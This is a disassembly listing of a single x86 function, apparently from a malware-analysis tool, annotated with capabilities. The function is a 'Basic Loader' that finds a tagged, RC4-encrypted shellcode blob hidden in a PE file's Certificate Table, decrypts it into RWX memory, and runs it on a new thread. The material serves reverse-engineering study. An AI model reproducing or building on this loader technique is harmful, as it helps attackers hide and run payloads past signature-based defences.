Function at 0x401080
Capabilities:
Allocate or change rwx memory
Create thread
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Get file size
Inject thread
Read file on windows
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x324
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x320], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push str._n__:_Basic_Loader..._n_n
call fcn.00401040
add esp, 4
cmp dword [ebp + 8], 3
je 0x4010d7
push str.___:_Missing_PE_path_or_Encryption_Key..._n
call fcn.00401040
add esp, 4
push dword [esi]
push str.___:_Usage:__s__PE_PATH___Encryption_Key__n
call fcn.00401040
add esp, 8
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0xff
lea eax, [esp + 0x22c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [esi + 8]
xor ebx, ebx
mov esi, dword [esi + 4]
add esp, 0xc
mov dword [esp + 0x18], eax
mov dword [esp + 0x224], ebx
test esi, esi
je 0x401118
mov ecx, 0x3f
lea edi, [esp + 0x228]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
jmp 0x40112a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [eax], 0x16
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
lea eax, [esp + 0x228]
push eax
push str.__:_Loading_Parsing_PE_File__s_n
call fcn.00401040
add esp, 8
lea eax, [esp + 0x228]
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x1c], eax
cmp eax, 0xffffffff
jne 0x401191
lea eax, [esp + 0x228]
push eax
push str.___:_Could_not_read_file__s_n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401010
add esp, 0xc
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov edi, eax
lea eax, [esp + 0x224]
mov dword [esp + 0x10], edi
push 0
push eax
push esi
push edi
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [esp + 0x224], ebx
jne 0x4011f1
lea eax, [esp + 0x228]
push eax
push str.___:_Could_not_read_file__s_n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401010
add esp, 0xc
jmp 0x4014cc
mov eax, 0x5a4d
cmp word [edi], ax
je 0x401221
lea eax, [esp + 0x228]
push eax
push str.___:__s_is_not_a_valid_PE_file_n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401010
add esp, 0xc
jmp 0x4014cc
mov esi, dword [edi + 0x3c]
mov ecx, 0x38
add edi, 0x18
add esi, edi
lea edi, [esp + 0x20]
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push str.IsWow64Process
push str.kernel32
mov esi, eax
mov dword [esp + 0x228], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401269
lea ecx, [esp + 0x220]
push ecx
push esi
call eax
cmp dword [esp + 0x220], ebx
je 0x401285
mov eax, 0x20b
cmp word [esp + 0x20], ax
jne 0x401297
mov ebx, 2
jmp 0x401297
mov ecx, 0x10b
mov eax, 0xfffffffe
cmp word [esp + 0x20], cx
cmove ebx, eax
mov esi, dword [esp + ebx*8 + 0xa0]
mov ebx, dword [esp + ebx*8 + 0xa4]
push esi
push str.__:_Certificate_Table_RVA__x_n
call fcn.00401040
push ebx
push str.__:_Certificate_Table_Size__d_n
call fcn.00401040
push ebx
push esi
push str._DEBUG_:_Reading_WIN_CERTIFICATE_from_RVA:_0x_x__Size:__d_bytes_n
call fcn.00401040
mov eax, dword [esp + 0x2c]
add esp, 0x1c
add eax, esi
xor edi, edi
mov dword [esp + 0x14], eax
test ebx, ebx
je 0x401498
lea ecx, [eax + 2]
mov dl, byte [ecx - 2]
cmp dl, 0xfe
jne 0x4012fe
cmp byte [ecx - 1], 0xed
jne 0x4012fe
cmp byte [ecx], 0xfa
jne 0x4012fe
cmp byte [ecx + 1], 0xce
je 0x401482
movzx eax, byte [ecx + 1]
lea esi, [ecx + 1]
push eax
movzx eax, byte [ecx]
push eax
movzx eax, byte [ecx - 1]
push eax
movzx eax, dl
push eax
push edi
push str._DEBUG_:_Mismatch_at_Offset:_0x_zx__Current_Bytes:_0x_02x_02x_02x_02x_n
call fcn.00401040
inc edi
add esp, 0x18
mov ecx, esi
cmp edi, ebx
jb 0x4012e1
xor esi, esi
lea eax, [edi + 8]
cmp esi, eax
jne 0x401498
sub ebx, esi
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ecx, dword [esp + 0x18]
add esp, 4
add ecx, esi
mov dword [esp + 0x220], eax
push ebx
push ecx
push eax
call sub.VCRUNTIME140.dll_memcpy
mov esi, dword [esp + 0x24]
add esp, 0xc
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x401360
mov edi, dword [esp + 0x18]
sub esi, ecx
xor ecx, ecx
nop
mov eax, ecx
mov byte [esp + ecx + 0x20], cl
cdq
idiv esi
mov al, byte [edx + edi]
mov byte [esp + ecx + 0x120], al
inc ecx
cmp ecx, 0x100
jl 0x401370
xor esi, esi
mov edi, esi
mov dl, byte [esp + esi + 0x20]
movzx eax, byte [esp + esi + 0x120]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x4013b3
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [esp + edi + 0x20]
mov byte [esp + edi + 0x20], dl
mov byte [esp + esi + 0x20], al
inc esi
cmp esi, 0x100
jl 0x401390
xor edx, edx
xor esi, esi
test ebx, ebx
jle 0x401429
xor edi, edi
inc edi
and edi, 0x800000ff
jns 0x4013e3
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [esp + edi + 0x20]
movzx eax, cl
add edx, eax
and edx, 0x800000ff
jns 0x4013fc
dec edx
or edx, 0xffffff00
inc edx
mov al, byte [esp + edx + 0x20]
mov byte [esp + edx + 0x20], cl
mov byte [esp + edi + 0x20], al
movzx ecx, byte [esp + edx + 0x20]
movzx eax, al
add ecx, eax
movzx eax, cl
mov ecx, dword [esp + 0x220]
movzx eax, byte [esp + eax + 0x20]
xor byte [ecx + esi], al
inc esi
cmp esi, ebx
jl 0x4013d2
push ebx
push str._n__:_Encrypted_Decrypted_Data_Size__d_n
call fcn.00401040
add esp, 8
push 0x40
push 0x1000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push ebx
mov ebx, dword [esp + 0x228]
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [esp + 0x10]
jmp 0x4014ce
push edi
push str._DEBUG_:_Tag_Found_at_Offset:_0x_zx_n
call fcn.00401040
add esp, 8
lea esi, [edi + 8]
jmp 0x40132a
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
push str.___:_Could_not_locate_data_shellcode_n
push 2
call esi
add esp, 4
push eax
call fcn.00401010
add esp, 8
push str._DEBUG_:_Tag_was_not_found_in_the_Certificate_Table_n
push 2
call esi
add esp, 4
push eax
call fcn.00401010
mov edi, dword [esp + 0x18]
add esp, 8
xor ebx, ebx
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test edi, edi
je 0x4014de
push edi
call esi
add esp, 4
test ebx, ebx
je 0x4014e8
push ebx
call esi
add esp, 4
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x32c]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401509
mov esp, ebp
pop ebp
ret